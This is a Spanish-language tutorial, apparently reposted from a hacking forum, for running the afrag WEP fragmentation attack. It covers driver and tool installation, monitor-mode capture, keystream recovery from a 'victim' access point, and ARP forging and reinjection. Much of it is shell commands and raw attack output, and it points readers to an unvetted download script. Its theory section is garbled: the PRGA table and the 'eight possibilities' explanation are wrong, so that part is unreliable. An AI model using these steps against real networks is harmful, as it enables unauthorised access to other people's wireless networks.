Nota: Se ha respetado al máximo el contenido original de la fuente del manual, si bien se han añadido breves correcciones para adaptarlo al formato de la web, correcciones mínimas siempre aprobadas por el autor del tutorial base.
Ataque de fragmentación con driver rt2570 modificado por ASPj ..... AFRAG
La verdad que he visto muy poca información sobre este ataque. Hasta para mi que aun no ha sido testeado del todo. Pero Bueno para eso estamos nosotr@s.
Se ve que este ataque solo lo soportan las tarjetas USB con driver rt2xx0, aunque llegara el día en los demás chipsets también.
Parece ser que los routers que se resisten al chopchop, son altamente vulnerables con el Ataque de fragmentación
Aparte, recomiendo que lo hagáis con la distro de Back Track 2.0 Beta o con Wifislax, con troppix 1.2 no me ha funcionado. En el foro del aircrack-ng dicen que con ubuntu tampoco. TODO ES PROBAR
UN POCO DE TEORIA
Q es el PRGA: pues bien es (texto plano + texto cifrado) y este se usa para la encriptación del paquete.
Un ejemplo: 0011(texto plano)+0110(texto cifrado)=0101(PRGA)
Así que si conseguimos interceptar texto cifrado y sabemos cual es el texto plano pues podemos averiguar el PRGA y una vez averiguado usarlo para encriptar cualquier paquete y así poder generar trafico.
PAQUETE ENCRIPTADO=IV + texto cifrado + PRGA
PRGA= 0000 0
0001 1
0010 2
0011 3
0100 4
0101 5
0110 6
0111 7
1111 8
Bueno el programa lo que hace en si, es capturar un paquete cifrado de la victima que debe estar encriptado mediante WEP, sino no vale.
Mediante este paquete saca lo que se llama el Keystream q es lo mismo que decir el Ciphertext(texto cifrado) q es de una longitud de 8 bytes (7 bytes + 1 de flag).
Una vez que tenemos el texto cifrado es fácil hacer el ataque, recordemos que texto plano + texto cifrado = PRGA
Pues bien si nosotros creamos un texto plano y lo intentamos codificar (Ingenieria inversa) si el AP responde ese es el PRGA correcto y ya lo tenemos.
Para ello trataremos de recobrar la keystream en dos modalidades 8 bytes y 408 bytes.
Generando nosotr@s mismo , el paquete a enviar por si acaso por si el AP tirase paquetes para atrás, se van utilizar 3 paquetes distintos para el ataque.(LLC NULL, ARP, y un paquete normal cifrado) (alguno responderá al engaño)
Veamos como esta la estructura interna de cada paquete.
PARA ATAQUE CON KEYSTREAM DE 8 BYTES:
LLCNULL ( 63 bytes + 8keystream = 71 bytes )
ARP( 60 bytes + 8keystream = 68 bytes )
PAQUETE CREADO POR ASPj (66bytes + 8 keystream = 74bytes )
PARA ATAQUE CON KEYSTREAM DE 408 BYTES:
LLCNULL (448 bytes)
ARP(416 bytes)
Si al hacer el ataque el AP responde es debido a q el PRGA que hemos usado es el bueno sino el programa seguirá probando con las posibilidades restantes, como son solo 8 posibilidades en total este ataque es muy rápido , en cuestión de segundos.
Una vez conseguido el PRGA VALIDO el programa creará el archivo XOR de esta forma:
xor( keystream, iv , prga , 36) en el caso de 8 bytes
xor( keystream, iv , prga , 432) en el caso de 408 bytes
Traducción por Thefkboss
Pasamos a definir y estructuras los puntos mas determinantes de todo el proceso.
- Descargamos el live-cd Back | Track
- Instalar el driver
- Instalamos la suite del aircrack-ng Mother Fucker Edition 0.8
- Instalamos la aplicación afrag
- Entramos en acción
- README del afrag
- Capturas de pantalla del proceso
- Tipología de errores
- Enlaces subyacentes
Nota: esperamos y deseamos que este tutorial pueda seguir aumentado su contenido en días venideros acorde a todas las pruebas que se hayan producido, penar que es un proceso que seguramente no estará al alance de todos y el cual seguramente os encontrareis con algunas barreras para poder llevarlo a buen puerto. No obstante, seguramente y derivado de la experiencia generada entre todos podremos contemplar en este portal o en los foros respectivos toda la evolución necesaria para que este modelo de actuación este al alcance de todos. Recordar inicialmente lo que ha sostenido el autor del mismo, haciendo hincapié en que no esta testeado del todo, pero que para eso estamos todos nosotr@s.
Entramos en materia importante:
1.- Descargamos el live-cd Back | Track
Para acceder a zona de descarga de esta distribución linux, pinché: aqui
2.- Instalamos el modulo del driver rt2570
Lo primero que he echo es instalar el driver nuevo:
drivers : rt2570-k2wrlz-1.4.9
Para descarga directa del driver, pinché: aqui
Necesitamos Internet con otra tarjeta para que funcione este script.
Sino ya sabéis, os descargáis el paquete comprimido y luego lo hacéis manualmente, exceptuando el paso de la orden wget.
rmmod rt2570
wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt2570-k2wrlz-1.4.9.tar.bz2
tar -xvjf rt2570-k2wrlz-1.4.9.tar.bz2
cd rt2570-k2wrlz-1.4.9/Module
make && make install
modprobe rt2570
ifconfig rausb0 up
3.- Instalamos la suite del aircrack-ng Mother Fucker Edition 0.8
Ahora instalamos la suite del aircrack-ng Mother Fucker Edition 0.8.
Esta script solo es valida si disponemos de una conexión a Internet, al igual que en el caso que hemos comentado con el driver anterior.
tar -zxvf aircrack-ng-0.6_motherfucker_edition_0.8.tar.gz
cd aircrack-ng-0.6_motherfucker_edition_0.8
make && make install
4.- Instalamos la aplicación afrag
Una vez tenemos la nueva suite y el driver instalado, pasamos a instalar la aplicación afrag:
Hay dos formas de hacerlo, que seguidamente pasamos a describir:
4.1 Primera alternativa referente a la instalación del afrag
La suite del aircrack-ng contiene un fichero denominado Makefile, lo localizamos, usamos nuestro editor plano preferido y nos vamos al siguiente punto:
cd /
make && make install
PATCH, equivale a la ruta donde esta ubicado la suite una vez que ya la hemos descargado o guardado en nuestro sistema.
4.1 Segunda alternativa referente a la instalación del afrag
Nota del autor: recomiendo esta, porque es la que me ha funcionado.
Nos vamos a esta pagina:
homepages.tu-darmstadt.de y nos descargamos afrag-0.1.tar.bz2
bzip2 -dc afrag-0.1.tar.bz2 | tar -xv
cd afrag-0.1
gcc -o afrag afrag.c //compilamos
PATCH1, equivale a la ruta donde esta ubicado el archivo bz2 que nos hemos de homepages.tu-darmstadt.de
PATCH2, equivale a la ruta donde esta situada la suite del aircrack-ng ME 0.8
Ya tenemos todo listo.
IMPORTANTE! SCRIPT DE INSTALACIÓN
si queréis ahorraros todo este proceso, solo tenéis que descargaros este archivo de texto y tener Internet con otro dispositivo que no sea el USB Wireless ..
meterlo en una memoria USB y ejecutarlo así desde donde lo tengáis :
cd /donde_este_script (ejem: cd /mnt/sda1/ )
./airfrag
script "airfrag.txt"
http://www.megaupload.com/?d=XKUMA311
5.- Entramos en acción
Abrimos shell en linux y ejecutamos los siguientes comandos:
ifconfig rausb0 up
#ponemos la tarjeta a punto
iwconfig rausb0 rate 1M channel [CANAL_DEL_AP] mode monitor
#Capturamos con airodump
airodump-ng --ivs -w fragmentacion -c [CANAL_DEL_AP] rausb0
#Creamos el .xor para forjar el ARP....esto es la #fragmentación.........Con el keystream podemos...
# Tarda unos 10 segundos más o menos.......si todo va bien
./afrag rausb0 [MAC_AP] [MAC_CLIENTE] FF:FF:FF:FF:FF:FF 192.168.1.23 192.168.1.24 dudu.xor
#Forjamos nuestro queridísimo ARP, para que funcione pondra: Done
arpforge-ng dudu.xor 1 [MAC_AP] [MAC_CLIENTE] 192.168.1.23 192.168.1.24 test.cap
# Lo reinyectamos.........con Aireplay -2
aireplay-ng -2 rausb0 -r test.cap
Y veríamos como los datas incrementan en el airodump..........
6.- Anexo A
Aquí os muestro el README del AFRAG de ASPj.
afrag.c:888:2: warning: no newline at end of file
haquetop2:/afrag-0.1 # ./afrag
ieee80211rawframework: Need to know your device!
haquetop2:/afrag-0.1 # ./afrag rausb0
USAGE: ./afrag
haquetop2:/afrag-0.1 # ifconfig rausb0 up
haquetop2:/afrag-0.1 # iwconfig rausb0 rate 1M channel 1 mode monitor
haquetop2:/afrag-0.1 # ./afrag rausb0 00:0F:B5:59:29:16 00:12:F0:2E:B9:34 FF:FF:FF:FF:FF:FF 192.168.1.23 192.168.1.24 test.xor
Waiting for a data packet...
Data packet found!
Keystream (recovered 7 bytes):
Size: 7, FromDS: 1, ToDS: 0
0x0000: 301e 313a 401e b5 0.1:@..
Sending fragmented packet
Packet:
Size: 60, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934 .A.....Y)......4
0x0010: ffff ffff ffff 0000 aaaa 0300 0000 0806 ................
0x0020: 0001 0800 0604 0001 0012 f02e b934 c0a8 .............4..
0x0030: 0117 0000 0000 0000 c0a8 0118 ............
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
Packet:
Size: 63, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934 .A.....Y)......4
0x0010: ffff ffff ffff 0000 0000 0000 0000 0000 ................
0x0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030: 0000 0000 0000 0000 0000 0000 0000 00 ...............
No answer, repeating...
Sending fragmented packet
Packet:
Size: 60, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934 .A.....Y)......4
0x0010: ffff ffff ffff 0000 aaaa 0300 0000 0806 ................
0x0020: 0001 0800 0604 0001 0012 f02e b934 c0a8 .............4..
0x0030: 0117 0000 0000 0000 c0a8 0118 ............
Got RELAYED packet!!
Data packet sniffed:
Size: 71, FromDS: 1, ToDS: 0 (WEP)
0x0000: 0842 9500 ffff ffff ffff 000f b559 2916 .B...........Y).
0x0010: 0012 f02e b934 2009 0000 1800 df12 1f0f .....4 .........
0x0020: b4b1 a561 1e67 4879 cbdc 8668 87b6 43ee ...a.gHy...h..C.
0x0030: 22da 739f fd26 8450 21fc bda8 d90c 84b6 ".s..&.P!.......
0x0040: a55f bb1c 4ff7 e8 ._..O..
Thats our LLC Null packet!
Resulting keystream:
Size: 36, FromDS: 1, ToDS: 0
0x0000: df12 1f0f b4b1 a561 1e67 4879 cbdc 8668 .......a.gHy...h
0x0010: 87b6 43ee 22da 739f fd26 8450 21fc bda8 ..C.".s..&.P!...
0x0020: d90c 84b6 ....
Trying to get 408 bytes of a keystream
Packet:
Size: 408, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934 .A.....Y)......4
0x0010: ffff ffff ffff 0000 aaaa 0300 0000 0806 ................
0x0020: 0001 0800 0604 0001 0012 f02e b934 c0a8 .............4..
0x0030: 0117 0000 0000 0000 c0a8 0118 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
--- CUT ---
No answer, repeating...
Trying a LLC NULL packet
Packet:
Size: 440, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934 .A.....Y)......4
0x0010: ffff ffff ffff 0000 0000 0000 0000 0000 ................
0x0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
--- CUT ---
Got RELAYED packet!!
Thats our LLC Null packet!
Resulting keystream:
Size: 432, FromDS: 0, ToDS: 1
0x0000: 24d5 bb04 db54 0679 ce1c 4cc9 e25f ea99 $....T.y..L.._..
0x0010: 9ce3 3fa7 0519 6dbe c761 fbb1 a9cf 741a ..?...m..a....t.
0x0020: 6ba2 3c42 db11 4d3d d52c 8acf d5c0 3b6b k.
0x0040: 0d00 d328 d801 b36b cdeb 0f3a 3fd1 2f48 ...(...k...:?./H
0x0050: 551c 8321 d786 5c59 6c44 566d 0517 c213 U..!..\YlDVm....
0x0060: 5aeb d1a3 7890 1554 2aec 9a8a 53f9 f985 Z...x..T*...S...
0x0070: 6b89 4820 3ed3 f942 cddb c6de 5789 03a9 k.H >..B....W...
0x0080: 10a9 724b 0061 deaa 36d5 be58 864a 6145 ..rK.a..6..X.JaE
0x0090: 9396 0520 9d50 4930 0dce f22b 0cc6 cda0 ... .PI0...+....
0x00a0: 3ee9 6a14 2220 d8b8 c1ed 16cd 6855 9d44 >.j." ......hU.D
0x00b0: 75e3 248a 9f9b e5aa ba17 4f64 6ab4 0dad u.$.......Odj...
0x00c0: fe22 6a20 6374 93d8 0886 5f29 6373 3ca5 ."j ct...._)cs<.
0x00d0: 0a9c 2e08 e9fe d31c e467 ce93 6535 6346 .........g..e5cF
--- CUT ---
Now you can build a packet with packetforge-ng out of that keystream
haquetop2:/afrag-0.1 # arpforge-ng
Arpforge-ng 0.6 - (C) 2006 Thomas d'Otreppe
Original work: Christophe Devine
http://www.aircrack-ng.org
usage: arpforge-ng
Aqui unas capturas del ataque de fragmentación........
7.- Anexo B
Aquí unas capturas del ataque de fragmentación
- Error típico -
- Conseguida la fragmentación -
Aquí esta todo.
- REINYECTANDO -
8.- Tipología de errores
Los errores normalmente suelen ser:
* El AP suelta paquetes cortos, es invulnerable
* No estas usando el driver rt2570 1.4.9
* Tu señal es baja
* No hay tráfico, entonces sino capturas un IV no empieza
mensaje "Waiting a data packet!"
ERROR TIPICO......
No estas capturando un buen paquete de datos........Necesario para la fragmentación.
Nos volvemos a fijar en la imagen que presentemos en primer lugar donde se pone de manifiesto el error típico acaecido por algunos de los puntos que hemos mencionado anteriormente.
Still nothing, trying another packet......... que traducido viene a decir no desesperes vuelve a leer el tutorial tranquilamente y vuelve a intentarlo mas tarde.
9.- Enlaces subyacentes
Manual base publicado en: foro.elhacker.net
Manual en pdf: www.toorcon.org
No hay comentarios:
Publicar un comentario